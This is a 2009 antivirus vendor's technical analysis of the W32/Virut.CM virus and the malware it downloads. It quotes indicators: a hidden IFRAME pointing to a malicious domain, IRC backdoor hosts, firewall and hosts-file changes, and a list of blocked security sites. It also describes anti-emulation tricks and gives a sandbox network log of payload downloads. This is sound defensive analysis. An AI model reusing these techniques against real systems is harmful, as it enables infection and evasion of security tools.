W32/Virut.CM - Observations

Revision history

15-05-2009 – First revision (draft)
18-05-2009 – Second revision (draft)
20-05-2009 – Third revision
20-05-2009 – Fourth revision (redacted URLs)
20-05-2009 – Fifth revision (revised formatting)

Author

Tom Bonner (tom.bonner@norman.com)

Table of contents

Introduction

This paper aims to provide a brief technical overview of the W32/Virut.CM virus (formerly detected by Norman as W32/Virut.CI), and the associated cocktail of malicious software that has been observed running on infected systems.

What is W32/Virut.CM?

W32/Virut.CM is a polymorphic file infecting Virus, approximately 20Kb long, that aggressively infects most executable and screen saver files on the system. In addition to infecting executables, W32/Virut.CM will also infect most HTML based files on the system.

Infection method

W32/Virut.CM infects executable files with a .exe or .scr extension as they are accessed, either by subverting a call through the IAT (import address table) in the original host code to jmp to itself, or by completely replacing the entry point of the executable to point to itself. W32/Virut.CM typically inserts its encrypted viral body and polymorphic decryptor code in the resource (.rsrc) section. The virus disables Windows file protection, in order to infect protected Windows system files, and also infects most HTML files with a .HTM, .HTML, .ASP or .PHP extension by inserting a hidden IFRAME that points to a domain hosting malicious software. The IFRAME typically has the following form;

- <iframe src="http://jL.[redacted].pl/rc/" style="display:none"></iframe>

Once W32/Virut.CM has run, it will launch a thread in either the winlogon.exe or services.exe processes, which will attempt to download and execute further components from the internet, as well as running the actual infection routine.

Additional information

W32/Virut.CM creates a mutex named “L0ar” to prevent multiple instances of the virus from running on the system. The viral thread running under winlogon.exe or services.exe will attempt to connect to an IRC backdoor at either of the following addresses;

- irc.zief.pl:65520
- proxim.ircgalaxy.pl:65520

The same viral thread will also add its parent process to the list of allowed applications in the Windows firewall via the following registry key;

- HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List C:\WINDOWS\System32\services.exe"="C:\WINDOWS\System32\services.exe:*:enabled:@shell32.dll,-1

Occasionally the Windows firewall will be totally disabled.

W32/Virut.CM will infect removable media attached to the system by dropping an infected file to the root of the drive (usually a copy of rundll32.exe which has been renamed), as well as an autorun.inf file to automatically execute the file when the removable media is plugged into another machine.

The virus modifies the hosts file by appending the following string;

- 127.0.0.1 jL.chura.pl

Or occasionally the hosts file can be overwritten with the following contents;

- 63.119.44.200 www.<randomdomainname>.com

The virus will also attempt to block access to websites containing the following strings;

- eset
- avg
- windowsupdate
- wilderssecurity
- threatexpert
- castlecops
- spamhaus
- cpsecure
- arcabit
- emsisoft
- sunbelt
- securecomputing
- rising
- prevx
- pctools
- norman
- k7computing
- ikarus
- hauri
- hacksoft
- gdata
- fortinet
- ewido
- clamav
- comodo
- quickheal
- avira
- avast
- esafe
- ahnlab
- centralcommand

- drweb
- grisoft
- nod32
- f-prot
- jotti
- kaspersky
- f-secure
- computerassociates
- networkassociates
- etrust
- panda
- sophos
- trendmicro
- mcafee
- norton
- symantec
- defender
- rootkit
- malware
- spyware
- virus

W32/Virut.CM has also been observed presenting a fake login screen, for the purpose of stealing usernames and passwords.

Anti emulation tricks

W32/Virut.CM employs a couple of simple anti emulation tricks for the purpose of preventing execution in a virtual environment. The first trick it uses is to check the error code returned from kernel32.dll!CreateMutexA by retrieving the last error value directly from fs:34. After that, it issues an int 2e (system call) interrupt, specifying edx (the initial stack pointer) as null, which should return STATUS_ACCESS_VIOLATION (0xc0000005) in eax, rather than generating a fault, although this only happens on x86 systems. Virut also appears to have some crude kernel32.dll!GetTickCount() timing, so if the time taken to perform certain tasks is too little (it seems to ignore long time outs) then it will assume it is being emulated and prevent infection. Virut also relies on some specific behaviour pertaining to Windows system APIs, which can make emulation of the actual infection routine somewhat difficult.

Additional components

W32/Virut.CM has been observed downloading a number of other malicious software, which themselves in turn may download more malicious components. Some of the additional malicious components found on infected systems include;

AdClicker.LLM

- Trojan component that simulates clicks on advertising banners.
- Installed as a service.
- Usual filename C:\WINDOWS\dhcp\svchost.exe.

AdClicker.LLO

- Trojan component that simulates clicks on advertising banners.
- Installed under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RunOnce.
- Adds itself to the list of Windows firewall exceptions.
- Usual filename C:\WINDOWS\system32\<random number>\SVCHOST.exe.

Agent.MMAX/MMKD

- Trojan component used to download additional malware.
- Installed as a shared service.
- Usual filename C:\WINDOWS\System32\6to4v32.dll.

Agent.MMCZ/MMDA

- Trojan component used to download additional malware.
- Running as a process.
- Installed under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Run
- Usual filename bn<0…9>.tmp

FakeAlert.JZN

- Trojan component used to download/drop additional malware that masquerades as anti virus software.
- Installed under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Run
- Usual filename rze<0…9>.tmp

FakeAlert.HVU

- Trojan component used that masquerades as anti virus software (Secure AntiVirus Pro).
- Installed under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Run.
- Usual filename C:\WINDOWS\av.exe.

MSNSpy.I

- Spyware component for monitoring MSN traffic.
- Installed as a shared service.
- Usual filename C:\WINDOWS\system32\msncache.dll.

Protector.B

- Rootkit component that infects ndis.sys.
- Installed as a driver.
- Also downloads/installs additional components during boot.
- Hooks network traffic, and bypasses most software firewalls.
- Usual filename C:\WINDOWS\system32\drivers\ndis.sys

Refpron.R/S/T/U/V/W/X

- Trojan component used to download Adware/Spyware.
- Installed as a service.
- Usual filenames C:\WINDOWS\System32\sopidkc.exe, C:\WINDOWS\System32\sopidkc_1.exe or C:\WINDOWS\System32\sopidkc_2.exe.

W32/Rootkit.ASN

- Rootkit component.
- Installed as a driver.
- Usual filename C:\WINDOWS\System32\Drivers\protect.sys.

Smalldoor.EBCS

- Backdoor component used to open the system for remote access.
- Also drops Protector.B.
- Installed under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Run or RunOnce.
- Sometimes installed as a shared service under HKEY_USERS\S-1-5-18\SOFTWARE\Microsoft\Windows NT \CurrentVersion\Run (Local Service).
- Usual filenames C:\WINDOWS\System32\reader_s.exe or C:\Documents and Settings\<username>\reader_s.exe.

BAT/Smalltroj.MLI

- Used to add C:\WINDOWS\services.exe to the Windows firewalls list of allowed programs.
- Runs as a batch file and then deletes itself.

SSDTHook.A

- Rootkit component used to hook the service descriptor table.
- Installed as a driver.
- Usual filename C:\WINDOWS\System32\pcm1394.sys.

HTML/Virut.gen2

- Virut infected HTML file.
- Contains 1 or more hidden IFRAMEs that point to a malicious domain.
    - <iframe src="http://jL.[redacted].pl/rc/" style="display:none"></iframe>

Wowpa.A

- World of Warcraft spyware component.
- DLL Installed under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs.
- Usual DLL filenames C:\Program Files\ThunMail\testabd.dll.
- Executable installed under HKEY_USERS\S-1-5-18\...\CurrentVersion\Run (Local Service).
- Usual executable filename C:\Program Files\ThunMail\testabd.exe.

Overview of Protector.B rootkit

Protector.B is a rootkit component that ‘infects’ ndis.sys, and is typically installed by Smalldoor.EBCS (reader_s.exe). When installed on the system, Protector.B will take the original copy of ndis.sys, encrypt and append it to itself, and then overwrite the original ndis.sys with the newly generated copy of itself. This means that when the computer is booting, at the stage where Windows normally loads ndis.sys, the rootkit component will be loaded. At this point, Protector.B will unpack and load the original ndis.sys, hooking most APIs that it exports for the purpose of monitoring network traffic. Protector.B hooks process creation in the kernel, so when services.exe is executed, it will inject code into the process that can download and install additional malware. Finally, the rootkit will hook a function in ntoskrnl.exe called IoCallDriver, so when an I/O request is made to read ndis.sys, then the original clean copy is presented, thereby hiding the infection.

SandBox report (W32/Virut.CM)

Below is a typical SandBox report for the W32/Virut.CM virus;

Changes to filesystem

- Creates file C:\WINDOWS\TEMP\VRT5555.tmp.
- Overwrites file C:\WINDOWS\TEMP\VRT5555.tmp.
- Creates file C:\WINDOWS\TEMP\VRT1793.tmp.
- Overwrites file C:\WINDOWS\TEMP\VRT1793.tmp.

Changes to registry

- Accesses Registry key "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List".
- Creates value "c:\windows\system32\services.exe"="c:\windows\system32\services.exe:*:enabled:@shell32.dll,-1" in key "HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List".

Network services

- Looks for an Internet connection.
- Connects to "irc.zief.pl" on port 65520 (IP).
- Opens URL: http://[redacted].org/files/adx.gif.
- Connects to "[redacted].org" on port 80 (TCP).
- Opens URL: http://[redacted].cn/ex/a.php.
- Connects to "[redacted].cn" on port 80 (TCP).

Network

- Bypass installed firewall.

Process/window information

- Creates a mutex L0aR.
- Creates section "\BaseNamedObjects\vdotVt" with full access to everyone.

- Enumerates running processes.
- Modifies memory in process "services.exe".
- Modified OS kernel function code in process "services.exe".
- Modifies memory in process "spoolsv.exe".
- Modified OS kernel function code in process "spoolsv.exe".
- Modifies memory in process "smss.exe".
- Modified OS kernel function code in process "smss.exe".
- Modifies memory in process "msnmsgr.exe".
- Modified OS kernel function code in process "msnmsgr.exe".
- Modifies memory in process "ccApp.exe".
- Modified OS kernel function code in process "ccApp.exe".
- Modified OS kernel function code.
- Creates process "VRT5555.tmp".
- Creates a COM object with CLSID {FCFB3D23-A0FA-1068-A738-08002B3371B5} : VBRuntime.
- Creates a COM object with CLSID {E93AD7C1-C347-11D1-A3E2-00A0C90AEA82} : VBRuntime6.
- Creates process "VRT1793.tmp".
- Attempts to access service "McShield".
- Disables security related services.
- Enumerates running processes several parses....
- Creates process "VRT1793.tmp"".
- Modifies memory in process "VRT1793.tmp"".
- Modifies execution flow of process VRT1793.tmp".

SandBox network log (W32/Virut.CM)

Below is a condensed network log from SandBox that shows Virut.CM downloading additional malicious components from port 80;

2009-05-04 23:34:23 Connect Socket: 1 [size 0] - error: 0

Sandbox socket 1 process ID 0103 connected to [REAL address 121.12.125.198] irc.[redacted].pl on port 65520

2009-05-04 23:34:25 Send Socket: 1 [size 20] - error: 0
2009-05-04 23:34:26 Send Socket: 1 [size 50] - error: 0
2009-05-04 23:34:26 Send Socket: 1 [size 6] - error: 0
2009-05-04 23:34:28 Receive Socket: 1 [size 172] - error: 0
2009-05-04 23:34:34 Connect Socket: 2 [size 0] - error: 0

Sandbox socket 2 process ID 0103 connected to [REAL address 114.80.100.130] [redacted].org on port 80

2009-05-04 23:34:34 Send Socket: 2 [size 192] - error: 0

GET /files/adx.gif HTTP/1.1
Host: [redacted].org:80
Accept:

```
Accept-Encoding:
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR
1.1.4322; .NET CLR 2.0.50727)
```

```
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
```

```
HTTP/1.1 200 OK
Content-Length: 24576
Content-Type: image/gif
Last-Modified: Mon, 04 May 2009 18:32:27 GMT
Accept-Ranges: bytes
ETag: "4c415aade6ccc91:26b"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Mon, 04 May 2009 21:35:26 GMT
```

(Downloads and executable file)

```
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size         872] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size         284] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size         284] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size         284] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size         284] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size        1024] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size         284] - error: 0
2009-05-04 23:34:35 Receive   Socket:   2 [size           7] - error: 0
2009-05-04 23:34:35 Close     Socket:   2 [size           0] - error: 0
```

Sandbox socket 2 disconnected from [REAL address] [redacted].org on port 80

2009-05-04 23:34:38 Connect Socket: 3 [size 0] - error: 0

Sandbox socket 3 process ID 0103 connected to [REAL address 211.95.79.6] [redacted].cn on port 80

2009-05-04 23:34:38 Send Socket: 3 [size 182] - error: 0

GET /ex/a.php HTTP/1.1
Host: [redacted].cn:80
Accept:
Accept-Encoding:
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

2009-05-04 23:34:39 Receive Socket: 3 [size 1024] - error: 0

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 04 May 2009 21:31:26 GMT
Content-Type: application/octet-stream
Connection: keep-alive
X-Powered-By: PHP/5.2.6
Cache-Control: must-revalidate, post-check=0, pre-check=0
Content-Disposition: attachment; filename=load.exe
Content-Length: 11776

(Downloads another executable file)

2009-05-04 23:34:39 Receive Socket: 3 [size 1024] - error: 0
2009-05-04 23:34:39 Receive Socket: 3 [size 1024] - error: 0
2009-05-04 23:34:39 Receive Socket: 3 [size 1024] - error: 0
2009-05-04 23:34:39 Receive Socket: 3 [size 284] - error: 0
2009-05-04 23:34:39 Receive Socket: 3 [size 1024] - error: 0
2009-05-04 23:34:39 Receive Socket: 3 [size 1024] - error: 0
2009-05-04 23:34:39 Receive Socket: 3 [size 1024] - error: 0
2009-05-04 23:34:39 Receive Socket: 3 [size 1024] - error: 0
2009-05-04 23:34:39 Receive Socket: 3 [size 284] - error: 0
2009-05-04 23:34:39 Receive Socket: 3 [size 1024] - error: 0
2009-05-04 23:34:39 Receive Socket: 3 [size 1024] - error: 0
2009-05-04 23:34:39 Receive Socket: 3 [size 1024] - error: 0
2009-05-04 23:34:39 Receive Socket: 3 [size 238] - error: 0
2009-05-04 23:34:39 Close Socket: 3 [size 0] - error: 0

Sandbox socket 3 disconnected from [REAL address] [redacted].cn on port 80

Cleaning

Although each of the malicious components described within this paper are relatively simple on their own, together, W32/Virut.CM and the associated malware cocktail that entails is arguably one of the more complex infections to verifiably remove from an infected system. However, Norman has invested considerable effort into ensuring that our malware removal tool (rebadged as Norman Virut Cleaner) can completely clean W32/Virut.CM infected executables, HTML/Virut.gen infected HTML files, and all other associated malware (including active rootkit components) mentioned in this paper. The Norman Virut Cleaner can be downloaded for free from http://www.norman.com/Virus/Virus_removal_tools/. Should infections re-appear after cleaning, then you can run the Norman Virut Cleaner in forensic investigator mode (by executing “Norman_VirutCM_Cleaner.exe /nfi”), which will harvest all suspicious files found on the system into a package that can easily be sent to your local support office for further analysis.